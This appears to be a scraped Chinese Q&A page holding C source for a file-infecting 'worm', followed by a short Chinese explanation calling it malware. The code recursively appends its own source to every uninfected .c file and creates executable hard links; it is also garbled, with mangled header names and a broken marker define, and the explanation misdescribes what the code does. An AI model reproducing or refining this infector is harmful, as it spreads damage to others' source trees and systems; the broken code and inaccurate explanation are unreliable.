#include <stdio.h> #include <stdlib.h> #include <string.h> #include <dirent.h> #include <sysat.h> #include <syspes.h> #include <unistd.h> #define FILENAME "worm.c" #define INFECTION_MARKER " #define INFECTION_MARKER" void infect_files(char *dir) { DIR *dp; struct dirent *entry; struct stat statbuf; FILE *fp, *infected_fp; char file_path[256], infected_file_path[256], line[512]; int infected = 0; if ((dp = opendir(dir)) == NULL) { perror("opendir"); return; } chdir(dir); while ((entry = readdir(dp)) != NULL) { lstat(entry->d_name, &statbuf); if (S_ISDIR(statbuf.st_mode)) { if (strcmp(".", entry->d_name) == 0 || strcmp("..", entry->d_name) == 0) { continue; } infect_files(entry->d_name); } else { if (strstr(entry->d_name, ".c") != NULL) { if ((fp = fopen(entry->d_name, "r")) != NULL) { while (fgets(line, sizeof(line), fp) != NULL) { if (strstr(line, INFECTION_MARKER) != NULL) { infected = 1; break; } } fclose(fp); if (!infected) { if ((fp = fopen(entry->d_name, "a")) != NULL) { if ((infected_fp = fopen(FILENAME, "r")) != NULL) { while (fgets(line, sizeof(line), infected_fp) != NULL) { fputs(line, fp); } fclose(infected_fp); } fclose(fp); infected = 1; } } } } } if (infected) { sprintf(file_path, "%s/%s", dir, entry->d_name); sprintf(infected_file_path, "%s/%s", dir, FILENAME); printf("Infected %s\n", file_path); link(file_path, infected_file_path); chmod(infected_file_path, S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH); infected = 0; } } chdir(".."); closedir(dp); } int main(int argc, char **argv) { char *dir; if (argc > 1) { dir = argv[1]; } else { dir = "."; } infect_files(dir); return 0; }
时间: 2023-06-19 21:09:49 浏览: 160
C_include_menthod.rar_Windows编程_C/C++_
这是一个 C 语言编写的计算机蠕虫程序。其主要功能是递归遍历目录中的所有 C 语言源代码文件,并向其中注入一个宏定义,该宏定义会在程序运行时打开一个名为 "worm.c" 的文件,并将其中的代码复制到目标文件中。同时,该程序会在目标文件所在目录下创建一个名为 "worm.c" 的硬链接,以便在系统启动时自我复制和传播。这个程序是一种恶意软件,可能会对系统造成严重的安全威胁。
阅读全文